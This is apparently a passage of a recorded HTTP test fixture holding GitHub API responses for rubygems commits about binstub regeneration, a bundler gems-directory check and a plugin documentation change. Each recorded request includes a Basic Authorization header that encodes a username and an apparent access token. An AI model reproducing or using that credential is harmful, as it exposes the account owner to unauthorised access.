flag was added in 909b5fb but is\nnot used yet. This change tests if the option was set before calling\n`Gem::Commands::SetupCommand#regenerate_binstubs`.\n\n We also simplify how the option is set, since it''s more similar to\n`format_executable` for example (simple option flag), rather than\n`document` where we use the same hash key for multiple options. This\nway we can just test the value being either true or false, instead of\ntesting key presence (`Hash#key?`) or relying on `nil` being returned\nfor nonexistent hash keys with `Hash#[]`.","tree":{"sha":"7ee5e1888c09a79964469527c35b31ba7e1de15c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7ee5e1888c09a79964469527c35b31ba7e1de15c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c","html_url":"https://github.com/rubygems/rubygems/commit/d57c530ec72b7024fe0c1a160f853794ea14a45c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"15fd512cdd97a3fa64bfa266c8de2c9fc665312c","url":"https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","html_url":"https://github.com/rubygems/rubygems/commit/15fd512cdd97a3fa64bfa266c8de2c9fc665312c"},{"sha":"4619f13a33642b132ebcc4e82772d89b4bcff0d3","url":"https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3","html_url":"https://github.com/rubygems/rubygems/commit/4619f13a33642b132ebcc4e82772d89b4bcff0d3"}],"stats":{"total":45,"additions":39,"deletions":6},"files":[{"sha":"5d1414d10203d929b980f0a4e7489845acf8c607","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":2,"deletions":6,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/d57c530ec72b7024fe0c1a160f853794ea14a45c/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d57c530ec72b7024fe0c1a160f853794ea14a45c/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=d57c530ec72b7024fe0c1a160f853794ea14a45c","patch":"@@ -82,11 +82,7 @@ def initialize\n \n add_option ''--[no-]regenerate-binstubs'',\n ''Regenerate gem binstubs'' do |value, options|\n- if value then\n- options[:regenerate_binstubs] = true\n- else\n- options.delete(:regenerate_binstubs)\n- end\n+ options[:regenerate_binstubs] = value\n end\n \n @verbose = nil\n@@ -156,7 +152,7 @@ def execute\n \n say \"RubyGems #{Gem::VERSION} installed\"\n \n- regenerate_binstubs\n+ regenerate_binstubs if options[:regenerate_binstubs]\n \n uninstall_old_gemcutter\n "},{"sha":"433b60df168eb7b03b505184dc2cecdc56af4ac9","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":37,"deletions":0,"changes":37,"blob_url":"https://github.com/rubygems/rubygems/blob/d57c530ec72b7024fe0c1a160f853794ea14a45c/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d57c530ec72b7024fe0c1a160f853794ea14a45c/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=d57c530ec72b7024fe0c1a160f853794ea14a45c","patch":"@@ -53,6 +53,43 @@ def setup\n FileUtils.mkdir_p ''default/gems/bundler-audit-1.0.0''\n end\n \n+ def gem_install name\n+ gem = util_spec name do |s|\n+ s.executables = [name]\n+ s.files = %W[bin/#{name}]\n+ end\n+ write_file File.join @tempdir, ''bin'', name do |f|\n+ f.puts ''#!/usr/bin/ruby''\n+ end\n+ install_gem gem\n+ File.join @gemhome, ''bin'', name\n+ end\n+\n+ def test_execute_regenerate_binstubs\n+ gem_bin_path = gem_install ''a''\n+ write_file gem_bin_path do |io|\n+ io.puts ''I changed it!''\n+ end\n+\n+ @cmd.options[:document] = []\n+ @cmd.execute\n+\n+ assert_match %r{\\A#!}, File.read(gem_bin_path)\n+ end\n+\n+ def test_execute_no_regenerate_binstubs\n+ gem_bin_path = gem_install ''a''\n+ write_file gem_bin_path do |io|\n+ io.puts ''I changed it!''\n+ end\n+\n+ @cmd.options[:document] = []\n+ @cmd.options[:regenerate_binstubs] = false\n+ @cmd.execute\n+\n+ assert_equal \"I changed it!\\n\", File.read(gem_bin_path)\n+ end\n+\n def test_pem_files_in\n assert_equal %w[rubygems/ssl_certs/rubygems.org/foo.pem],\n @cmd.pem_files_in(''lib'').sort"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:49 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4530' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"618fbeaad0e4046a21fa6a10c8825178" Last-Modified: - Mon, 27 Nov 2017 11:24:52 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.033364' X-Github-Request-Id: - C4DA:4D94:4EFEF6:B2FFDA:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"15fd512cdd97a3fa64bfa266c8de2c9fc665312c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:24:52Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:24:52Z"},"message":"Auto merge of #2104 - tjouan:commands-setup-install_default_bundler_gem-gems_dir_check, r=hsbt\n\nCheck gems dir existence before removing bundler\n\n In `Gem::Commands::SetupCommand#install_default_bundler_gem`, check if\ngems directory exists before attempting to uninstall potential bundler\ngems, else `Dir.entries` might fail:\n\n env \\\n GEM_HOME=/wrkdirs/usr/ports/devel/ruby-gems/work/stage/usr/local/lib/ruby/gems/2.4 \\\n /usr/local/bin/ruby24 setup.rb \\\n --destdir=/wrkdirs/usr/ports/devel/ruby-gems/work/stage \\\n --backtrace\n ERROR: While executing gem ... (Errno::ENOENT)\n No such file or directory @ dir_initialize - /usr/local/lib/ruby/gems/2.4/gems\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `open''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `entries''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `install_default_bundler_gem''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:151:in `execute''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command.rb:310:in `invoke_with_build_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:171:in `process_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:141:in `run''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/gem_runner.rb:59:in `run''\n setup.rb:46:in `
''","tree":{"sha":"d764e9d3a72495b619b593db9e5796e3d239744e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d764e9d3a72495b619b593db9e5796e3d239744e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","html_url":"https://github.com/rubygems/rubygems/commit/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","url":"https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","html_url":"https://github.com/rubygems/rubygems/commit/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6"},{"sha":"f5872d0e4d3c6553107086c9f73d81cd2b851e81","url":"https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81","html_url":"https://github.com/rubygems/rubygems/commit/f5872d0e4d3c6553107086c9f73d81cd2b851e81"}],"stats":{"total":8,"additions":5,"deletions":3},"files":[{"sha":"a0ec34bf5d47ece05f5c91b5e655802f251400e6","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/15fd512cdd97a3fa64bfa266c8de2c9fc665312c/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/15fd512cdd97a3fa64bfa266c8de2c9fc665312c/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=15fd512cdd97a3fa64bfa266c8de2c9fc665312c","patch":"@@ -372,9 +372,11 @@ def install_default_bundler_gem\n \n bundler_spec = Gem::Specification.load(default_spec_path)\n \n- Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n- each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+ if File.directory? bundler_spec.gems_dir\n+ Dir.entries(bundler_spec.gems_dir).\n+ select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+ end\n \n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:49 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:50 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4529' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3e3195925bce88553b1b8e99a27bc58b" Last-Modified: - Mon, 27 Nov 2017 05:00:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041183' X-Github-Request-Id: - C4DC:4D96:971577:13A35B2:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T05:00:13Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T05:00:13Z"},"message":"Auto merge of #2103 - tjouan:plugins-doc-multiple_loads_warning-remove, r=hsbt\n\nRemove multi load warning from plugins documentation\n\n Since c0312450, a RubyGems plugin is now only loaded from the latest\ninstalled gem. It was released in version 2.1.0.","tree":{"sha":"c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","html_url":"https://github.com/rubygems/rubygems/commit/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"},{"sha":"371622c7609ee3b88359fe4b43f5991569f435bc","url":"https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc","html_url":"https://github.com/rubygems/rubygems/commit/371622c7609ee3b88359fe4b43f5991569f435bc"}],"stats":{"total":4,"additions":1,"deletions":3},"files":[{"sha":"4201205c68800ee1311ea3c75d801c185a835a8b","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","patch":"@@ -47,9 +47,7 @@ module Gem\n # As of RubyGems 1.3.2, RubyGems will load plugins installed in gems or\n # $LOAD_PATH. Plugins must be named ''rubygems_plugin'' (.rb, .so, etc) and\n # placed at the root of your gem''s #require_path. Plugins are discovered via\n-# Gem::find_files and then loaded. Take care when implementing a plugin as your\n-# plugin file may be loaded multiple times if multiple versions of your gem\n-# are installed.\n+# Gem::find_files and then loaded.\n #\n # For an example plugin, see the {Graph gem}[https://github.com/seattlerb/graph]\n # which adds a `gem graph` command."}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:50 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:50 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4528' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"db049cf0cf2c98621a77262857f346bd" Last-Modified: - Mon, 27 Nov 2017 02:05:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038147' X-Github-Request-Id: - C4DE:4D95:F47C5B:1C833AA:5A50E466 body: encoding: ASCII-8BIT string: '{"sha":"f5872d0e4d3c6553107086c9f73d81cd2b851e81","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-26T17:34:35Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-27T02:05:51Z"},"message":"Check gems dir existence before removing bundler\n\n In `Gem::Commands::SetupCommand#install_default_bundler_gem'', check if\ngems directory exists before attempting to uninstall potential bundler\ngems, else `Dir.entries'' might fail:\n\n env \\\n GEM_HOME=/wrkdirs/usr/ports/devel/ruby-gems/work/stage/usr/local/lib/ruby/gems/2.4 \\\n /usr/local/bin/ruby24 setup.rb \\\n --destdir=/wrkdirs/usr/ports/devel/ruby-gems/work/stage \\\n --backtrace\n ERROR: While executing gem ... (Errno::ENOENT)\n No such file or directory @ dir_initialize - /usr/local/lib/ruby/gems/2.4/gems\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `open''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `entries''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `install_default_bundler_gem''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:151:in `execute''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command.rb:310:in `invoke_with_build_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:171:in `process_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:141:in `run''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/gem_runner.rb:59:in `run''\n setup.rb:46:in `
''","tree":{"sha":"d1a8027e84a0c8fae8de2b2698b3a67fb8450836","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1a8027e84a0c8fae8de2b2698b3a67fb8450836"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81","html_url":"https://github.com/rubygems/rubygems/commit/f5872d0e4d3c6553107086c9f73d81cd2b851e81","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"}],"stats":{"total":8,"additions":5,"deletions":3},"files":[{"sha":"a0ec34bf5d47ece05f5c91b5e655802f251400e6","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/f5872d0e4d3c6553107086c9f73d81cd2b851e81/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f5872d0e4d3c6553107086c9f73d81cd2b851e81/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=f5872d0e4d3c6553107086c9f73d81cd2b851e81","patch":"@@ -372,9 +372,11 @@ def install_default_bundler_gem\n \n bundler_spec = Gem::Specification.load(default_spec_path)\n \n- Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n- each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+ if File.directory? bundler_spec.gems_dir\n+ Dir.entries(bundler_spec.gems_dir).\n+ select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+ end\n \n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:50 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:50 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4527' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8eabb988d85fd27c08527d626738ae8c" Last-Modified: - Mon, 27 Nov 2017 01:53:44 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, 